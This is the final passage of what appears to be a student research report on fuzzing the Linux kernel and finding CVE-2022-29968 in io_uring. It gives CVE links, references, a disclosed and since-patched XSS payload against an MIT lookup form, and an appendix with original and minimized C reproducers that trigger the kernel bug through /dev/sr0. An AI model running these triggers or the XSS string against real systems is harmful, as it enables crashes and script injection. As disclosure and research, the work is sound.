MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29968

Debian: https://security-tracker.debian.org/tracker/CVE-2022-29968

National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-29968

10 Acknowledgements

We would like to acknowledge William Liu for discussing ideas with us and sharing insights from his past experience with Syzkaller. We would also like to thank YiFei Zhu for his help with navigating the LKML.

We would also like to thank the security community and all of the independent researchers who take time to write blog posts breaking down the common techniques. Many of these blog posts were quite helpful in helping us learn the ropes of kernel exploitation [13, 14, 25, 27, 28, 32].

11 Bonus Bug

We also found a cross site scripting bug in an MIT web service. Namely, the dorm hostname lookup form (https://stuff.mit.edu/cgi/machine) did not properly sanitize the machine search query. Searching for the machine "test</h1><script>alert(' xss');</script>" would run untrusted JS on the site.

We emailed SIPB about this bug on May 14 and it was patched a few hours later that same day.

References

[1] Debugging. URL: https://linux-kernel-labs.github.io/refs/heads/master/lectures/debugging.html .

[2] linux kernel vulnerability statistics. URL: https://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33 .

[3] The Kernel Address Sanitizer (KASAN). URL: https://www.kernel.org/doc/html/v4.14/dev-tools/kasan.html .

[4] E cient IO with io_uring, 2019. URL: https://kernel.dk/io_uring.pdf .

[5] Supervisor Mode Execution Protection, 2021. URL: https://www.binaryexploitation.org/kernel-land/protections/smep-supervisor-mode-execution-protection .

[6] GEF - GDB Enhanced Features, 2022. URL: https://gef.readthedocs.io/en/master/ .

[7] Techsec, 2022. URL: https://techsec.mit.edu/ .

[8] Fabrice Bellard. Qemu, a fast and portable dynamic translator. In Proceedings of the Annual Conference on USENIX Annual Technical Conference, ATEC '05, page 41, USA, 2005. USENIX Association.

[9] Fabrice Bellard. O cial qemu mirror. https://github.com/qemu/qemu , 2022. Accessed April 2022.

[10] Jonathan Corbet. Supervisor mode access prevention, sept 2012. URL: https://lwn.net/Articles/517475/.

[11] Jonathan Corbet. Ringing in a new asynchronous I/O API, 2019. URL: https://lwn.net/Articles/776703/.

[12] Jake Edge. Kernel Address Space Layout Randomization, oct 2013. URL: https://lwn.net/Articles/569635/.

[13] Nicolas Fabretti. Lexfo's security blog - CVE-2017-11176: A step-by-step linux kernel exploitation (part 3/4), Oct 2018. URL: https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html.

[14] Fizzbuzz101. Cve-2022-0185 - winning a $31337 bounty after pwning ubuntu and escaping google's kctf containers, Jan 2022. URL: https://www.willsroot.io/2022/01/cve-2022-0185.html.

[15] Nick Galov. 111+ linux statistics and facts { linux rocks! URL: https://webtribunal.net/blog/linux-statistics/.

[16] Google. Google/syzkaller: Syzkaller is an unsupervised coverage-guided kernel fuzzer, 2022. URL: https://github.com/google/syzkaller.

[17] Google. syzbot, 2022. URL: https://github.com/google/syzkaller/blob/master/docs/syzbot.md.

[18] Mel Gorman. physical page allocation, 2004. URL: https://www.kernel.org/doc/gorman/html/understand/understand009.html.

[19] Shuveb Hussain. What is io_uring?, 2020. URL: https://unixism.net/loti/what_is_io_uring.html.

[20] Sun Microsystems Inc. Writing fcode 3.x programs - oracle. Chapter 8., 2000. URL: https://docs.oracle.com/cd/E63648_01/pdf/806-1379.pdf.

[21] Intel. Intel® 64 and IA-32 architectures software developer manuals, apr 2022. URL: https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html.

[22] Information Technology Laboratory. CVE-2022-29968 Detail, 2022. URL: https://nvd.nist.gov/vuln/detail/CVE-2022-29968.

[23] Linux Kernel Labs. Block device drivers, 2021. URL: https://linux-kernel-labs.github.io/refs/heads/master/labs/block_device_drivers.html.

[24] Dan Li and Hua Chen. FastSyzkaller: Improving fuzz e ciency for linux kernel fuzzing. Journal of Physics: Conference Series, 1176:022013, mar 2019. doi:10.1088/1742-6596/1176/2/022013.

[25] Midas. Learning linux kernel exploitation - part 1, Jan 2021. URL: https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/.

[26] MITRE. Cve database. URL: https://cve.mitre.org/.

[27] Vitaly Nikolenko. Linux Kernel universal heap spray, 2018. URL: https://duasynt.com/blog/linux-kernel-heap-spray.

[28] Valentina Palmiotti. Put an io_uring on it: Exploiting the linux kernel - blog, mar 2022. URL: https://www.graplsecurity.com/post/iou-ring-exploiting-the-linux-kernel.

[29] Steven Rostedt. ftrace, 2008. URL: https://www.kernel.org/doc/Documentation/trace/ftrace.txt.

[30] Eduardo Vela. Roses are red, violets are blue, giving Leets more sweets, all of 2022!, Feb 2022. URL: https://security.googleblog.com/2022/02/roses-are-red-violets-are-blue-giving.html.

[31] Denys Vlasenko. Busybox, 2021. URL: https://busybox.net/.

[32] Xiaochen Zou. Universal heap spraying strategy { userfaultfd + setxattr, 2020. URL: https://etenal.me/archives/1336.

12 Appendix

Listing 6: Original reproducer

```
void execute_one(void) {
	intptr_t res = 0;
	NONFAILING(memset((void*)0x2000009c, 0, 12));
	*(uint32_t*)0x20000084 = 0;
	*(uint32_t*)0x20000088 = 1;
	*(uint32_t*)0x2000008c = 0;
	*(uint32_t*)0x20000090 = 1;
	*(uint32_t*)0x20000098 = 0;
	 memset((void*)0x2000009c, 0, 12);
	res = -1;
	res = syz_io_uring_setup(1, 0x20000088, 0x20ffd000, 0x20ffc000, 0x20000240, 0x20000040);
	if (res != -1) {
		r[0] = res; r[1] = *(uint64_t*)0x20000240; r[2] = *(uint64_t*)0x20000040;
	}
	memcpy((void*)0x20000080, "/dev/sr0\000", 9);
	syscall(__NR_openat, 0xfffffffffffff9cul, 0x20000080ul, 0x4900ul, 0ul);
	*(uint64_t*)0x20000140 = 5;
	syscall(__NR_io_uring_enter, r[0], 0x7e93, 0x5cab, 2ul, 0x20000140ul, 8ul);
	*(uint8_t*)0x20000100 = 0x16;
	*(uint8_t*)0x20000101 = 0;
	*(uint16_t*)0x20000102 = 0;
	*(uint32_t*)0x20000104 = 4;
	*(uint64_t*)0x20000108 = 0;
	*(uint64_t*)0x20000110 = 0x20000000;
	*(uint32_t*)0x20000118 = 0xfffffd61;
	*(uint32_t*)0x2000011c = 0;
	*(uint64_t*)0x20000120 = 0;
	*(uint16_t*)0x20000128 = 0;
	*(uint16_t*)0x2000012a = 0;
	memset((void*)0x2000012c, 0, 20);
	syz_io_uring_submit(r[1], r[2], 0x20000100, 0);
	res = syscall(__NR_socket, 2ul, 2ul, 0);
	if (res != -1) { r[3] = res; }
	*(uint32_t*)0x20000084 = 0;
	(*(uint32_t*)0x20000088 = 1);
	(*(uint32_t*)0x20000090 = 0);
	(*(uint32_t*)0x2000008c = 0);
	(*(uint32_t*)0x20000098 = 0);
	(memset((void*)0x2000009c, 0, 12));
	NONFAILING(syz_io_uring_setup(1, 0x20000080, 0x20ffd000, 0x20ffc000, 0x20000240, 0));
	syscall(__NR_io_uring_enter, r[0], 0x7e93, 0x5cab, 2ul, 0ul, 0ul);
	*(uint8_t*)0x20000100 = 0x16;
	*(uint8_t*)0x20000101 = 0;
	*(uint16_t*)0x20000102 = 0;
	*(uint32_t*)0x20000104 = 4;
	*(uint64_t*)0x20000108 = 0;
	*(uint64_t*)0x20000110 = 0x20000000;
	*(uint32_t*)0x20000118 = 0xfffffd61;
	*(uint32_t*)0x2000011c = 0;
	*(uint64_t*)0x20000120 = 0;
	*(uint16_t*)0x20000128 = 0;
	*(uint16_t*)0x2000012a = 0;
	memset((void*)0x2000012c, 0, 20);
	NONFAILING(syz_io_uring_submit(r[1], r[2], 0x20000100, 0));
	syscall(__NR_openat, 0xfffffffffffff9cul, 0ul, 0ul, 0ul);
	syscall(__NR_socket, 2ul, 2ul, 0);
	syscall(__NR_connect, r[3], 0ul, 0ul);
	NONFAILING(*(uint64_t*)0x20000040 = 2);
	syscall(__NR_sendfile, r[3], -1, 0x20000040ul, 0x10001ul);
	syscall(__NR_io_uring_enter, -1, 0x1b3f, 0x3ac1, 0ul, 0ul, 0ul);
	syscall(__NR_io_uring_enter, r[0], 0x4490, 0, 0ul, 0ul, 0ul);
}
```

Listing 7: Minimized reproducer

```c
void execute_one(void) {
    intptr_t res = 0;
    // Install initial parameters / setup the io_uring
    struct io_uring_params *params = (struct io_uring_params *)IO_URING_PARAMS;
    params->sq_entries = 0;
    params->cq_entries = 0;
    params->flags = FLAG_IORING_SETUP_IOPOLL;
    params->sq_thread_cpu = 0;
    params->sq_thread_idle = 0;
    memset(&(params->resv), 0, sizeof(params->resv));
    res = -1;
    res = syz_io_uring_setup(1, IO_URING_PARAMS, RING_VMA, SQES_VMA, RING, SQES);

    if (res != -1) {
        r[IO_URING_FD_OFFSET] = res;
        r[RING_OFFSET] = *(uint64_t*)RING;
        r[SQES_OFFSET] = *(uint64_t*)SQES;
    }

    // Reuse the params struct to open /dev/sr0
    // /dev/sr0 is a SCSI CD ROM
    // This opens the CD ROM so we can interact with it using async block IO
    memcpy((void*)IO_URING_PARAMS, "/dev/sr0\000", 9);
    uint64_t dirfd = 0xfffffffffffff9cul;
    uint64_t flags = O_DIRECT | O_NONBLOCK | O_NOCTTY;
    assert(flags == 0x4900ul);
    syscall(__NR_openat, dirfd, IO_URING_PARAMS, flags, NULL);

    struct io_uring_sqe *new_entry = (struct io_uring_sqe *)(0x20000100);

    new_entry->opcode = IORING_OP_READ;
    assert(new_entry->opcode == 0x16);
    new_entry->fd = 4;
    new_entry->addr = 0x20000000;
    new_entry->len = 0xfffffd61;
    new_entry->file_index = 0;
    new_entry->__pad2[0] = 0;
    new_entry->__pad2[1] = 0;

    // Submit to index 0
    syz_io_uring_submit(r[RING_OFFSET], r[SQES_OFFSET], new_entry, 0);

    // This is in IO_URING_PARAMS again:
    // POLLING mode == kernel and user share memory and the kernel async reads from it
    params->sq_entries = 0;
    params->cq_entries = 0;
    params->flags = FLAG_IORING_SETUP_IOPOLL;
    params->sq_thread_cpu = 0;
    params->sq_thread_idle = 0;
    memset(&(params->resv), 0, sizeof(params->resv));
    NONFAILING(syz_io_uring_setup(1, IO_URING_PARAMS, RING_VMA, SQES_VMA, RING, 0));

    // Enter our ring to the io uring
    syscall(__NR_io_uring_enter, r[IO_URING_FD_OFFSET], 0x7e93, 0x5cab, 2ul, 0ul, 0ul);
}
```